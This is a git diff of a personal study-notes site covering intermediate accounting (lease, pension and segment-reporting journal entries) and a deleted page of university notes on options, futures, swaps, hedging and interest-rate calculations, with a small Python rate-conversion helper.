purchase option discounted at the lessor-implicit rate - -```accounting -1-Sep | contract initiated with first payment -Right-of-use Asset 23,769 - Lease Liability 18,769 - Cash 5,000 - -31-Dec | 4 months depreciation -Depreciation Expense 1,320 - Accumulated-Dep ROU Asset 1,320 - -31-Dec | 4 months interest -Interest Expense 1,667 - Interest Payable 1,667 -``` - -### Lease Liability Example - -Example - -It's January 1st, rental payments of 25,981.62, no options at the end of the term, fair value of $100,000 and lasts for 5 years without residual value. Straight-line depreciation methods. Lessee pays executory costs except for $2,000 baked into the payment. Borrow rate is 11% however Lessor uses 10% which is known to Lessee. - -- Discount rate: for IFRS it is 10%, under ASPE it is MIN(10%, 11%) -- Guaranteed amount is 0 -- Lease payment is 25,981.62 - 2,000 = 23,981.62 - -PV works out to 100,000 using a financial calculator or the annuity due table. - -Therefore, amount to be capitalized is $100,000 and initial liability is 100,000 - 23,981.62 = 76,018. - -```accounting -# Jan 1 2023 IFRS -Right-of-Use Asset 100,000 - Lease Liability 76,018 - Cash 23,982 -# Jan 1 2023 ASPE -Equipment under lease 100,000 - Obligations under lease 76,018 - Cash 23,982 - -Maintenance Expense DR 2,000 - Cash CR 2,000 - -# lease payment -Maintenance Expense DR 2,000 -Lease Liability or Obligations under lease DR 23,982 - Cash CR 25,982 -# returned to lessor -Acc. Dep 100,000 - Right of use Asset or Equipment under lease 100,000 -# purchase ownership -Right of use Asset or Equipment under lease DR 105,000 - Acc. Dep CR 100,000 - Cash CR 5,000 -``` - -For the interest expense adjustment entry, don't credit payable but rather the obligations or the liability. - -
In-class Practice (Shrek and Fiona) - -```accounting -9yr useful life -7 year term -4,300,000 -8% incremental borrowing rate vs. 6% implicit -100,000 end payment - -Annuity due -The lease payment is PMT(6%, 9, 4300000 - 100000/1.06^7, 0, 1) = -$715,441 -The PV of the lease payments is 4,240,810 and PV of the lease is 4,300,000 -This is a right-of-use lease that should be capitalized since it is not short-term or low-value. There is an identifiable asset. - -Right-of-use Asset Dr. 4,300,000 - Lease liability Cr. 3,584,559.36 - Cash Cr. 715,441 - -Interest expense 215,074 (6% of lease liability) - Lease liability 215,074 -Depreciation expense Dr. 477778 - Accumulated depreciation Cr. 477778 -``` - -
- -### Lease Inducements - -If there is no lease inducements ($100 paid every Jan 1) - -```accounting -# Jan 1st -Dr. Prepaid rent $100 - Cr. Cash $100 -# Dec 31 -Dr. Low-value lease expense (IFRS) or rent expense (ASPE) $100 - Cr. Prepaid rent $100 -``` - -With inducement (last 2 months free), figure out total rent ($300 * 22 = 6,600). Monthly rent expense = 6600/24 = 275. - -```accounting -# at every monthly payment date -Dr. Prepaid rent expense $25 -Dr. Low-value lease expense (IFRS) or rent expense (ASPE) \ - $275 - Cr. Cash $300 -# last two months -Dr. Low-value lease expense (IFRS) or rent expense (ASPE) $275 - Cr. Prepaid rent expense $275 -``` - -### Lessor Accounting - -Three types of companies: manufacturer (e.g. automobile), independent finance (e.g. private debt), traditional financial institutions (banks) - -Type | ASPE | IFRS ---- | --- | --- -Operating | Operating lease | Operating lease -Finance (Capital) Lease | | -Sales-type: arranged with company that has the asset | Sales-type lease | Manufacturer / dealer lease -Financing-type: leases arranged with a finance company | Direct financing lease | finance lease - -```accounting -# start of lease / first payment -Dr. lease receivable (gross investment = total non-discounted rental receivables less executory costs) - Cr. {Asset Name} acquired for lease - Cr. Unearned interest income (total interest on the asset) -# year-end interest accrual -Dr. Unearned interest income (net investment * implicit rate) - Cr. Interest income -# lease payment received -Dr. Cash - Cr. Lease Receivable (payment - executory) - Cr. Maintenance and Repairs Expense (executory) -``` - -How to solve problems - -- Use Annuity due table to get the PV of the monthly payments received. - - This will be the asset acquired for the lease -- The initial unearned interest is the difference between total cash receivable and the present value -- The present value net of the first payment is what the accrual interest applies -- Cash payment go towards lease receivable and executory costs -- For residual values, increase the lease receivable and include it when calculating the PV - -```accounting -# sign contract -Dr. Lease receivable 119,908 - Cr. Equipment Acquired for Lessee 100,000 - Cr. Unearned Interest Income 19,908 -# first payment -Cash 25,982 - Lease Receivable 23,982 - Maintenance and Repairs Expense 2,000 -# interest accrual at year end -Unearned interest income Dr. 7,602 ((100,000 - 23981.62) * 10%) - Interest Income Cr. 7,602 -# second payment -Cash 25,982 - Lease Receivable 23,982 - Maintenance and Repairs Expense 2,000 -# end of year 2 -Unearned Interest Income Dr. 5,964 - Interest Income Cr. 5,964 -``` - -### Lease Comprehensive Example - -Two years, end of year payments. $13,000 option to purchase at end of term. Fair value of $135,000. Residual value of $13,000. Lessee pays $5,000 per year in insurance costs. 10% rate of return by the lessor. - -- Lease payment = (135,000 - 13,000 / 1.1^2) / (Annuity \[Due] Factor) = 71595 -- Lease receivable: the fair value plus the residual value -- Lessor: - - Need to expense executory costs - - Interest income is the interest on the net investment - - Unearned interest income once lease has been initiated -- Right-of-use asset - - PV of the lease payment plus PV of the exercise price = 135,000 - -## Chapter 19 - Pensions and Post Employment Benefits - -- post-employment benefits (IFRS) -- Employee Future Benefits (ASPE) - -Quick Guide - -- Past Service Costs - - Interest applies on the days it has been an item (the current year end date minus any amendment date; usually 1 years worth of interest) -- Contributions - - Increases the plan's assets - - If made during the year, lowers the net interest expense by the pro-rated amount (July 1st = half the interest gained) -- Remeasurement Losses/Gains and Actuarial Losses/Gains - - ASPE: this difference will impact the Defined Benefit Expense - - IFRS: this difference will only impact OCI and not Defined Benefit Expense - -### Defined Benefit Plan - -- fixed payout regardless of plan's performance -- therefore, employer assumes risk of the plan's shortfall - -### Changes in Defined Benefit Obligation - -- Current services cost - - DBO increases - - Present value of future contributions required due to employee's services in the current period -- Past service costs - - DBO addition or reduction based on info (amendments) -- Interest cost - - Increase the DBO for the interest cost of the beginning DBO balance and the past service amendments active during the year (pro-rated) -- Payments to retirees - - Subtract the DBO -- Remeasurement gains and losses - - Return on plan's assets differs from projected return - - IFRS: OCI -- Actuarial gains and losses - - assumptions that have changed - - IFRS: OCI assumption - -### Plan Assets - -- Increase the plan assets - - Contributions from employer - - contributory: employee contributions reduce defined benefit expense - - Actual earnings on assets -- Decrease - - Payments to retirees - -### DBO Versus Plan Assets - -- Measured at the date of the annual financial statements -- DBO > Plan Asset: Net Defined Benefit Liability (underfunded plan) -- DBO < Plan Assets: Net Defined Benefit Asset (overfunded plan) - -### Pension Accounting Worksheet (Template) - -Item | \[IFRS] Remeasurement Loss | DB Expense | Cash | Net DB A/L | DB Obligation | Plan Asset ---- | --- | --- | --- | --- | --- | --- -Balance | | | | | | -Past service cost/benefit | | + | | | - | -Current service cost | | + | | | - | -Net interest cost | | +/- | | | - | + -Remeasurement loss on plan assets | +/- | | | | | +/- -Employer contributions | | | | | | + -Benefits paid | N/A | N/A | N/A | N/A | + | - -Actuarial loss/gain | +/- | | | | | -| | | | | | -Expense journal entires | | | N/A | LEFT SUM | | -Contribution journal entries | N/A | N/A | | LEFT SUM | | -Balance | | | | SUM | SUM | SUM (given) - -### Other Defined Benefit Plans that Vest or Accumulate - -- health care, life insurance, long-term disability, dental and eye care, legal and tax services, tuition assistance, free or subsidized travel - -### Other Defined Benefit Plans that do not Accumulate - -- no attempt to accrue the benefit, costs, or liabilities -- recognize as event occurs - -### Presentation of Benefits - -- SFP - - If there is one or more defined benefit plans, show separately - - can only be combined if all result in defined benefit liability or defined benefit asset - - no guidance -- Income Statement (no guidance) - - 1) total as a single benefit cost (most companies do this) - - 2) Report as separate components - - 3) part of similar expenses - -### Pension Disclosures - -- ASPE - - dates of actuarial valuations, difference between surpluses/deficits of balance sheet and plan, fair values, Description, major changes, -- IFRS - - In addition to ASPE, characteristics and risks, details on amount included in net income, plan's effect on future cash flow, - -## Changing the Accounting Policy - -- Accounting policy: Switching from FIFO to weighted average - - specific principles, practices, and application - - change is required by a primary source of GAAP - - voluntary change that results in a more reliable presentation -- Accounting estimate: Depreciation estimate change - - adjustment to the carrying value due to change in assumption -- Correction of a prior period error(s) - - Omissions or misstatements - -### Retrospective Restatement - -ASPE allows only full restatement whereas IFRS allows partial restatement - -1. Figure out the years affected and which balances need to be adjusted. - - 2021 → restate ending balances. Provide net income statement impact. - - 2022 → restate ending balances. Provide net income statement impact. - - 203 (open) → restate beginning balances and continue accounting to close the books -2. Accounts - -### Retrospective Restatement Example 1 - -20,000 depreciation not recorded for the previous (2022) year where books have been closed. Assume unadjusted earnings was 350,000. - -- 2022 ending balance / 2023 beginning balance needs to be adjusted -- accounts affects: accumulated depreciation - building via depreciation expense, retained earnings, future/deferred taxes - - since the carrying value of the building is restated to be lower, the future deferred taxes has to be reduced as well due to a lower temporary difference - - concept: if income before taxes is lower, then so is the deferred tax expense and thus the future tax liability is also lower (debit) - -```accounting -Dr. Future Tax Liability 6,000 -Dr. Retained Earnings 14,000 - Cr. Accumulated Depreciation 20,000 -``` - -## Chapter 22 - Cash Flow - -## Chapter 23 - Other Measurement and Disclosure Issues - -- Misleading disclosure -- Selective disclosure -- Untimely disclosure -- Insider trading -- [SEDAR+](www.sedarplus.ca): disclosures for Canadian capital markets - -### Full Disclosure Principle - -- report all financial facts that are significant enough to influence the judgement of an informed reader -- too much information results in unreadable statements -- proprietary cost: cost associated with competitors using disclosure against the company -- labour cost of accounting -- ESG is mandatory starting 2024 - -### Segmented Reporting - -- Rogers Communications Inc. operates in wireless, cable, and media business -- Motivation: demand by investors -- Operating segment - - must meet: - - engages in business activities which it earns revenues and incurs expenses - - its results are regularly reviewed by the company's chief operating decision-maker - - discrete financial information available on it - - reportable (at least one of these tests): - - revenue is 10% or more of the combined revenue - - P&L test: absolute profit or loss is 10%+ of the greater of the combined profit of profitable segments and the combined loss of unprofitable segments - - asset test: 10% or more of combined assets - - extra factors: - - must explain significant portion of the company's business - - 10 segments may be practical limits - - management can override tests if they believe the information would useful - -### Centrally Incurred Costs - -- costs that are interrelated in nature such as the president's salary -- remove centrally incurred costs from each reportable segment -- disclose revenues from external customers and inter-segment transactions separately - -### Segmented Reporting Example - -1. Revenue test: 10% * 790,000 = 79,000. Segments B and C meet this -2. Profit test: 129,000. Loss test: 10,000. Only C is greater than 12,900. -3. Asset test: 10% * 710,000 = 71,000. Only C meets this. -4. Unaffiliated sales: (B + C revenues) / (790,000 total) = 83.5% - -### Interim Reporting - -- periods of less than one year -- discrete view: treat as a separate accounting period -- integral view: deferrals and accruals should consider what will happen for the entire year - -### Related Party Transactions - -- When two businesses engage in transactions with another party that can significantly influence its policies -- e.g. common owner, individuals/family members -- transactions cannot be presumed to be an arm's length transactions because there may not be a competitive free-market dealing -- IFRS: RPT is a required disclosure -- ASPE: economic substance - remeasurement - -Remeasurements under ASPE to carrying value - -- booked as a charge or credit to equity. diff --git a/content/posts/university/bu-423-options-futures-swaps.md b/content/posts/university/bu-423-options-futures-swaps.md deleted file mode 100644 index 70af6db9d..000000000 --- a/content/posts/university/bu-423-options-futures-swaps.md +++ /dev/null @@ -1,1556 +0,0 @@ ---- -title: "BU 423 Options, Futures & Swaps" -date: 2024-01-09T14:26:54-05:00 -draft: false -tags: - - university - - finance - - investing -alises: - - /posts/university/bu-423 -summary: "Detailed notes and summaries from a university course on Options, Futures & Swaps, covering derivative types, market mechanics, hedging, interest rates, pricing, swaps, securitization, financial crises, and volatility." ---- - -{{< toc >}} - -Derivative: financial instruments that depend on an underlying asset. Everything in finance could be considered a derivative. -In finance, there is no wealth generation, only wealth redistribution. - -- [Lecture slides](https://rotman.utoronto.ca/~hull) -- Textbook: [Fundamentals of Futures and Options 9th edition by John C. Hull](http://libgen.li/index.php?req=Fundamentals+of+Futures+and+Options&columns%5B%5D=t&columns%5B%5D=a&columns%5B%5D=s&columns%5B%5D=y&columns%5B%5D=p&columns%5B%5D=i&objects%5B%5D=f&objects%5B%5D=e&objects%5B%5D=s&objects%5B%5D=a&objects%5B%5D=p&objects%5B%5D=w&topics%5B%5D=l&topics%5B%5D=c&topics%5B%5D=f&topics%5B%5D=a&topics%5B%5D=m&topics%5B%5D=r&topics%5B%5D=s&res=25&filesuns=all&curtab=f&order=year&ordermode=desc) - -- Four Quizzes 40% -- Midterm Exam 25% -- Final Exam 35% - -## Naturel of Derivatives - -- Return = Risk Free + Risk Premium -- Risk can be transferred for a price. One sufficient manner is through the use of derivatives - -Building Blocks / Examples - -- Futures Contracts -- Forward Contracts -- Swaps -- Options - -### Why are Derivatives Used - -- Hedging -- Speculation -- Locking in arbitrage -- Changing nature of a liability - - Fixed rate loan and you want to change that into a variable one - - You can either pay back the loan and take a variable rate (transaction costs) - - Or you can use a derivate -- Change the nature of an investment without incurring the costs of selling one portfolio and buying another - - Something about using a forwards contract - -### Futures Contracts Introduction - -F = S(1 + r)^T - -- Agreement to buy or sell underlying asset at some point in the future for a certain price -- Spot contract is buying or selling immediately -- An example. Spot price of $100, risk-free of 5%, Expected price in a year is $110. F0 is 105 if there is no risk? -- Selling = short position. Buying = long position -- Exchanges Trading Futures - - CME Group - - Intercontinental Exchange - -### Over-the Contract markets - -- More important alternative than exchanges because anything goes -- In the exchange-traded market, there are standardized contracts - -### Lehman Bankruptcy - -- Active participant in OTC derivative market -- Took high risk and couldn't roll into short-term funding -- Sold protection for debt instruments for mortgage backed securities - - Sold Credit Default Swaps which is a protection instrument for mortgage backed securities -- Long Term Capital (hedge fund). Proprietary trading models, promising investors 20%+ but as it got larger it was harder to attain the returns - - Then they levered their fund - - Systematic Risk - - Placed bet on USSR and USA interest model - - When USSR collapsed, they went bankrupt - - [1998 Russian financial crisis](https://www.investopedia.com/terms/l/longtermcapital.asp) - -### New Regulations for OTC - -- Standard OTC products must be traded on swap execution facilities -- Central clearing party must be used -- Trades must be reported to a central registry - -### OTC Systemic Risk - -- Default by one large financial institution can lead to losses in other financial institution - -### Forward Contracts Introduction - -- Trade in OTC market -- Popular on currencies and interest rates -- Forward Price = delivery price if negotiated today - -### Options - -- Call = option to buy at strike price by a certain date -- Put = option to sell at strike price by a certain date -- American style = exercised any time during its life -- European style = exercised only at maturity - -Profit = (Stock Price - Strike Price - Purchase Price) - -Examples: - -- 100 put options short - - Losses limited to strike price + price paid for the option -- 100 call options long at strike price of $550 for $29 per option - - Profit increases as stock price increases - -Options vs. Futures/Forwards - -Holder has an obligation vs. option - -### Hedge Funds - -- Not same regulations as mutual funds -- Mutual funds - - Disclose investment policies - - Redeemable at any time - - Limited use of leverage -- Hedge fund fee: 2 plus 20% - -### Arbitrage Examples - -- stock price is quoted in 100 pounds in London and $152 in New York -- exchange rate is 1.55 for pounds to USD -- therefore, short the stock in london, buy in new york - ---- - -- risk-free rate is 5% -- spot price of gold is US$100 per ounce -- 1-year futures is 105 -- expected spot price in 1 year is $110 (does not matter) -- F = S (1 + r) ^ T - ---- - -- spot price of oil s US$40 -- 1-year futures price of oil is US$35 (or $50) -- risk-free is 2% per annum -- storage cost is 1% per annum - ---- - -## Futures Contracts (Chapter 2) - -- Exchange traded -- Applicable to a wide variety of underlying assets -- Specs need to be defined - - What can be delivered - - Where to deliver - - When to deliver - - For many futures contracts, the delivery period is the whole month -- Settled daily (mark to market) -- Closing out futures is easy, it's just an opposite trade -- Most contracts are closed out before maturity -- When used for hedging, profits are not recorded for accounting purposes until the contract is closed (pg. 59). If not for hedging, then the books would note the gain/loss in the year end even if the contract will not be closed until the next year - -### Convergence - -As time goes on, the future's price converges to the spot price - -### Margin - -- Margin is cash or marketable securities deposited by an investor with his or her broker -- The balance in the margin account is adjusted to reflect daily settlement -- Margin minimizes the possibility of a loss through a default on a contract -- Retail traders provide **initial margin** and, when the balance in the margin account falls below a **maintenance margin level**, they must provide variation margin bringing balance back up to initial margin level. - ---- - -- Short futures contract -- Want to sell the asset later before maturity -- Revenue = Spot Price + Price at T = 0 MINUS Price at T = 1 -- Example sold asset at spot price of 110 + shorted future at price of 105 - bought back future at price of 112 = 103 - -### OTC Markets: Bilateral Clearing - -- Transaction between two parties typically governed by ISDA Master Agreement -- Credit Support Annex (CSA) defines the collateral that has to be posted -- After Financial Crisis of 2007-2007, centralized counterparties (CPP) have to be used to avoid financial institutions from chain reacting defaults -- Companies can clear its transaction through a member - -### Terminology - -- open interest: outstanding contracts -- settlement price: price before final bell -- volume of trading: number of trades for a day - -### Forward Contracts - -- Private contract between 2 parties -- Non-standard contract -- Usually 1 specified delivery date (futures are a range) -- Settled at end of contract -- Delivery usually occurs -- Some credit risk (risk of counterparty default) - -## Hedging Strategies - -- Long hedge is when you know you will lock in the price for an asset you know you will buy in the future -- Short hedge is when you know you will sell an asset in the future and want to lock in the price - -### Arguments For Hedging - -- Take steps to minimize risks arising from interest rates, exchange rates, and other market variables - -### Arguments Against Hedging - -- Shareholders can make their own hedging decisions -- May increase risk if competitors do not hedge -- Loss on hedge but gain in the underlying is hard to explain - -### Basis Risk - -- Difference between spot and futures -- Arises because uncertainty about basis when hedge is closed out -- An improvement (increases) in the basis benefits the short position - -### Long Hedge for Purchase of an Asset - -- F1: Futures price at time hedge is set up -- F2: Futures price at time asset is purchased -- S2: Asset price at time of purchase (Cost) -- b2: Basis at time of purchase -- Net Amount paid =S2 - (F2 - F1) = F1 + b2 -- Net Amount received = S2 + (F1 - F2) = F1 + b2 - -### Choice of Contract - -- Choose delivery month as close to life of the hedge -- When there is no futures contract on the asset being hedged, choose teh most highly correlated with the asset price. 2 basis components - -### Optimal Hedge Ratio - - - -- change in standard deviation of change in spot price -- change in standard deviation of the future price -- price coefficient between two assets - -- Airline will purchase 2 million gallons of jet fuel in one month and hedges using heating oil futures -- From historical data - - `h^* = 0.928 * 0.0263 / 0.0313 = 0.78` - - Therefore optimal number of contracts is 0.78 times 2,000,000 / 42,000 \[units per contract] = 37 - -### Hedging Using Index Futures - -Beta times value of the portfolio divided by value of one index futures contract. - -Example 1 - -- 1,000 S&P futures price -- $5MM portfolio -- 1.5 Beta -- One contract is $250 times the index -- 1.5 * 5,000,000 / 250,000 = 30 contracts short - -Example 2 - -- Index level of 1,000. Future price of 1,010, 250x per contract -- Portfolio value of $5,050,000 -- risk-free = 4% -- Dividend = 1% per year -- Beta = 1.5 -- 3 month horizon -- Future exit in 4 months -- `1.5 \* (5,050,000 / (250 * 1,010)) = 30 contracts` -- in 3 months, index is at 900 and the future is at 902 -- What's the net value? -- R = (P1 - P0 + D) / P0 = (P1 - P0) / P0 + D / P0 -- R = Rf + Beta (Rm - Rf) -- Gain from short position = `(1010 - 902) * 30 * 250= 810,000` -- `Loss from index = (900 - 1000 + 1% * 1000 / 12 * 4) / 1000 = -97.5 / 1000 = -9.75%` -- `Rp = 4% / 4+ 1.5 (-0.0975 - 0.04 / 4) = -15.125%` - - Notice that we divided risk free rate to account for 3 month -- `Vp = 5,050,000 (1 - 15.125%) + 810,000 = 5,096,187.50` - -### Hedging to Non-Zero beta - -- Previous section, we got a beta of 0, what about non-zero? -- If Beta > desired Beta, Number of contracts to sell = (Beta - desired Beta) Vp / Vi -- If Beta < desired Beta, Number of contracts to buy = (Desired Beta - Beta) Vp / Vi - -### Reasoning - -- You think your stocks will outperform the market -- Hedging ensure the return you earn is the risk-free rate plus the excess over the market (or minus the under-performance over the market) - -### Stack and Roll - -- Roll futures forward to hedge future exposures -- Just before maturity, close them out and replace them with new contract reflect the new exposure - -### Liquidity Issues - -- In any hedging situation there is a danger that losses will be realized on the hedge while the gains on the underlying exposure are unrealized -- Example: Metallgesellschaft which sold long term fixed-price contracts on heating oil and gasoline and hedged using stack and roll - -## Interest Rates - -### Treasury Rates - -- Instruments issued by government in its own currency - -### London Interbank Offered Rate (LIBOR) - -- London Interbank Offered Rate -- Based on submissions by banks -- Why would banks collude for this? - -### U.S. Fed Funds Rate - -- Unsecured interbank overnight rate of interest -- Allows banks to adjust the cash (i.e., reserves) on deposit with the Federal Reserve at the end of each day -- = average rate on brokered transactions -- central bank can intervene - -### Repo Rates - -- Financial institution agreeing to purchase back **securities** it sold now for a higher price -- It's a loan? -- The rate of interest is calculated between X and Y - -### LIBOR Swaps - -- LIBOR is exchanged for a fixed rate -- 3 month LIBOR swap is same risk as continually refreshed 3 month AA-rated banks - -### OIS Rate - -- Overnight Indexed Swap -- Fixed rate for a period is exchanged for the geometric average of overnight rates -- Single exchange for up to one year maturity -- Periodic exchange for over one year, e.g. quarterly -- OIS rate is a continually refresh overnight rate - -### Risk-Free Rate - -- Treasury rate is artificially low because Banks do not keep capital for Treasury instruments -- Treasury instruments have favourable tax treatments -- OIS rates is a proxy for the risk-free rates - -> For example, suppose that in a U.S. three-month OIS the notional principal is $100 million and the fixed rate (i.e., the OIS rate) is 3% per annum. If the geometric average of overnight effective federal funds rates during the three months proves to be 2.8% per annum, the fixed rate payer has to pay 0.25 × (0.030 − 0.028) × $100,000,000 or $50,000 to the floating rate payer. (This calculation does not take account of the impact of day count conventions.) - -### Measuring Interest Rates - -- Principal e^(RT) - - R = continuously compounded rate for time T - -### Conversion Formulas - -- Rc : continuously compounded rate -- Rm: same rate with compounding m times per year -- Rc: m ln ( 1 + Rm / m) -- Rm: m (e^(Rc / m) - 1) - -```py -import math -def convert_interest_rate(m_old, m_new, rate): - rc = math.log(1 + rate/m_old) * m_old - print(f'Continuous compounding rate: {rc * 100:.4f}') - rm = m_new * (math.e ** (rc / m_new) - 1) - print(f'New rate: {rm * 100:.4f}') -``` - -```txt -10% with semiannual compounding is equivalent to 2ln(1.05)=9.758% with continuous compounding -8% with continuous compounding is equivalent to 4(e0.08/4 -1)=8.08% with quarterly compounding -Rates used in option pricing are usually expressed with continuous compounding -``` - -### Zero Rates - -- A zero rate (or spot rate), for maturity T is the rate of interest earned on an investment that provides a payoff only at time T - -Maturity (years) | Zero Rate with Continuous Compounding ----------------------- | ------------------------------------------------------ -0.5 | 5.0 -1.0 | 5.8 -1.5 | 6.4 -2.0 | 6.8 - -Template - -`COUPON_FOR_PERIOD * e^(-HALF_YEAR_CTN_COMPOUNDING * 0.5) + 3e^(-r*1) = 97` - -### Bond Pricing (Continuous) - -- theoretical price of a two-year bond providing a 6% coupon semi-annually is: `3e^(-0.05 * 0.5) + 3e^(-0.058*1)+ 3e^(-0.064*1.5) +103e^(-0.068*2.0)= 98.39` -- yield when you replace all the different rates above with a single rate to make the PV equal the price - -### Par Yield - -- coupon rate that causes the bond price to equal its face value -- similar to solving for bond yield, but set the price to the face value -- c = (100 - 100d)m / A - -### Data to Determine Treasury Zero Curve - -- Bootstrap Method -- `BOND_PRICE * e % (RATE * MATURITY_IN_YEARS) = FACE_VALUE` -- For the coupon bonds, we can use the zero rates from before and just solve for the lump-sum rate R - -### Forward Rates - -- (R2T2 - R1T1) / (T2 - T1) -- Approximately true when rates are not expressed with continuous compounding - -### Interest Rate Swap - -- One person pays a fixed rate and the other pays a floating rate -- For the person paying a fixed rate (and receiving a floating rate) the credit risk is - - The floating rate is expected to decrease based on the term structure (upward sloping) - - Interest rates decline unexpectedly -- credit risk is greater when term structure slopes downward (market expects interest rates to decrease in the long term) and the risk exposure increases when interest rates decline - -### Forward Rate Agreement (FRA) - -- OTC agreement that a certain LIBOR rate will apply to a certain principal during a certain future time period -- Predetermined rate RK is exchanged for interest at the LIBOR rate -- FRA can be valued by assuming the forward LIBOR interest rate RF is certain to be realized -- Value = Present Value of the difference between the forward LIBOR interest rate (RF) and the interest paid at the FRA rate RK -- `(RF - RK) * Principal * length of the contract` and then discount to 0 from T2 at the risk free rate? -- Use case: floating rate payment in the future but you want to make sure you are paying a fixed rate - - the receiver will want a premium for receiving - -A company has agreed that it will receive 4% on $100 million for 3 months starting in 3 years. The forward rate for the period between 3 and 3.25 years is 3%. The value of the contract to the company is +$250,000 discounted from time 3.25 years to time zero at the OIS rate. - -`(0.04 - 0.03) * 100_000_000 * 0.25 / (1.03^3.25) = 250_000 / (1.03 ^ 3.25)` - -Suppose rate proves to be 4.5% (with quarterly compounding). The payoff is –$125,000 at the 3.25 year point. Often the FRA is settled at time 3 years for the present value of the known cash flow at time 3.25 years. - -`-125_000 / (1 + (0.045 * 0.25)) = -123_609.39` - -- 3x6 FRA: starts in 3 months (90 days) and ends in 6 months (180 days) -- 6x9 FRA: starts in 6 months (180 days) and ends in 9 months (270 days) -- Question: rate of 3.10% for 6x9. 3% right now. What is the fixed rate in the agreement? - - `(1 + (0.031 * 0.75)) / (1 + 0.03 * 0.5) = (1 + R * 0.25)` - - RF = 3.251% -- Question: 3 months have passed, and the rate has gone to 3.25% for 3 months and 3.3% for 6 months. what is the value of the FRA - - `(1 + (0.033 * 0.5)) / (1 + 0.0325 * 0.25) = (1 + R * 0.25)` - - RF = 3.323% - - `FRA = (0.03323 - 0.03251) * 0.25 / (1 + 0.033 * 0.5)` - - FRA = 0.00017710154273060686 of the loan amount - -A financial manager needs to hedge against a possible decrease in short-term interest rates. He decides to hedge his risk exposure by going short on a 3X6 FRA that expires in 90 days and is based on a 90-day LIBOR. The current LIBOR spot rates are observed: 30-day 5.83%, 90-day 6.00%, 180-day 6.14% and 360-day 6.51%. What is the rate the manager would receive on this FRA: - -- Interest paid on $1 for 180 days: 0.0614 * 0.5 = 0.0307 -- Interest paid on $1 for 90 days: 0.06 * 0.25 = 0.015 -- Expected interest paid on $1 from 3x6 (compounded from 90-day): (1.0307 / 1.015 - 1) -- Expected interest rate for 3x6 (compounded from 90): (1.0307 / 1.015 - 1) / 0.25 = 6.19% - -### Theories of the Term Structure - -- Expectations theory: forward rates equal expected future zero rates -- Market Segmentation: short, medium, and long rates determined independently of each other -- Liquidity Preference Theory: forward rates higher than expected future zero rate - - To manage these preferences, banks offer different rates for depositors and borrowers depending on the maturity - -## Determination of Forward and Futures Prices - -Unit: Domestic Currency / Foreign Currency - -### Intro and Types of Contracts - -- Futures contract -- Forward contract - - Even an airline ticket is a forward contract - - There should be a model/marketplace for this sort of thing for each airline and etc. -- we have three times: 0, t, and T (maturity) - -Types - -- forward contracts on investment assets that provide no income - - discount bills, bonds, stocks without dividends -- forward contracts on investment assets that provide a known dividend yield - - coupon bonds, indices, currency -- forward contracts on investment assets that provide a known cash income - - coupon bonds, indices - -### Valuing Forward Contracts - -For all these equations, T is the time till maturity in years from the present. r is the continuous compounding rate for the period of time. - -When first negotiated, a forward contract is worth 0 because neither party is actually paying for the contract to exist. - -But later, when there is a contract with delivery price K and a contract with delivery price F0, we can show that the value of the contract is: - -Long forward contract - -f=(F_0-K)e^{-rT} - -Short forward contract - -f=(K-F_0)e^{-rT} - -So in this case, a rate of say 8% continuous compounding for 3 month period requires multiplying the rate by the months. - -### The Forward Price - -F_0=S_0(1+r)^T - -### Forward Price with Continuous Compounding - -F_0=S_0e^{rT} - -Value: - -0 + 100e^(-5%) - -### Known Dollar Income - -F_0=(S_0-I)e^{rt} - -Where I is the present value of the income during life of forward contract - -### Known Yield - -F_0=S_0e^{(r-q)T} - -Where q is the average yield during the life of the contract (continuous compounding), For storage costs, use(+u) instead of (-q). Use q = rf (foreign) for currencies. For cost of carry, use c (storage cost plus interest cost) in place of r. - -### Forward Pricing Example 1 - -- Stock without dividend -- spot price = $40 -- risk free for 3 months is 5% per annum (5% / 4 = 1.25%) -- Ft = 40(e ^ 0.0125) = $40.50 -- Suppose that F0 = $43 -- How to execute the overpriced arbitrage strategy? -- Short the forward, borrow at risk-free (isn't this the margin rate) to buy the underlying -- at T, deliver the underlying and close the short forward and pay off the loan - -### Futures Pricing - -F_t=(S_0-I)e^{rt} - -Example - -- Spot: 400 -- yield of 3% p.a -- rm = 8% - -### Index Arbitrage and Program Trading - -- simultaneous purchase/sale of at least 15 stocks with total value > $1MM -- Black Monday: arbitrage opportunities - -## Interest Rate Futures - -- day count convention -- unit of time for calculating accrued interest when instruments are traded -- Treasury: Actual / Actual -- Corporate Bonds: 30 / 360 -- Money Market Instruments (e.g, LIBOR) Actual / 360 - -### Bond Prices Between Coupons - -- Cash Price = Quoted Price + Accrued Interest -- quoted price is flat price -- invoice or total price paid is called the dirty price or cash price -- `Accrued Interest = Coupon * (days since last coupon / coupon period)` - - Actually count the days in the coupon period instead of dividing by two - -```example -A semi-annual coupon bond with 8% coupon rate -Days passed since last coupon payment is 30 -Accrued interest = $80/2 * (30/182.5) = 6.58 -coupon rate * par value * (days / 365) -Invoice = 990 (quoted) + 6.58 = $996.58 -``` - -### Treasury Bill Prices in the US - -P = 360/n (100 - Y) - -Quoted based on annualized discount. So if the quoted price is 8 for 3 month, then the cash price is 100 - (8/4) = 98. - -### Canadian Treasury Bills - -Quoted on yield. Actual/Actual - -365/n * (100 - Y) / Y - -### Treasury Bond Futures - -For each $100 face value of bond, - -Cash Price received by short party = most recent settlement price \* conversion factor + accrued interest. - -- 10-year Treasury note futures contract quotes are to the nearest half of a thirty-second (0.5/32ths). 127-015 means 127 + 1.5/32 and 90-08 means 90 + 8/32. -- 5-year and 2-year Treasury note contracts are quoted to nearest quarter of a thirty-second (0.25/32ths). 119-197 means 119 + 19.75 / 32 - -Settlement is priced on a 6% bond and delivery can be any bond with a maturity of more than 15 years but less -than 25 years. The conversion factor is unique to each bond. - -Example - -Each contract is delivery of $100,000 face value of bonds. Suppose recent settlement price is 90-00, there's a conversion factor of 1.3800, and the accrued interest is $3 per $100 face value. - -Therefore, (1.3800 × 90.00) + 3.00 = $127.20. Since $100,000 face value is delivered (x1000), the total cash received is $127,200. - -### Conversion Factors - -- Quoted price the bond would have on the first day of delivery month assuming interest rate is 6% with semi-annual compounding and the maturity is rounded down to a multiple of 3 months. If the maturity is not a multiple of 6 months, assume a coupon is paid in three months meaning that accrued interest of 3 months has to be subtracted. - -Example - -As a first example of these rules, consider a 10% coupon bond with 20 years and two months to maturity. For the purposes of calculating the conversion factor, the bond is assumed to have exactly 20 years to maturity. The first coupon payment is assumed to be made after six months. Coupon payments are then assumed to be made at six-month intervals until the end of the 20 years when the principal payment is made. Assume that the face value is $100. When the discount rate is 6% per annum with semiannual compounding (or 3% per six months), the value of the bond is - 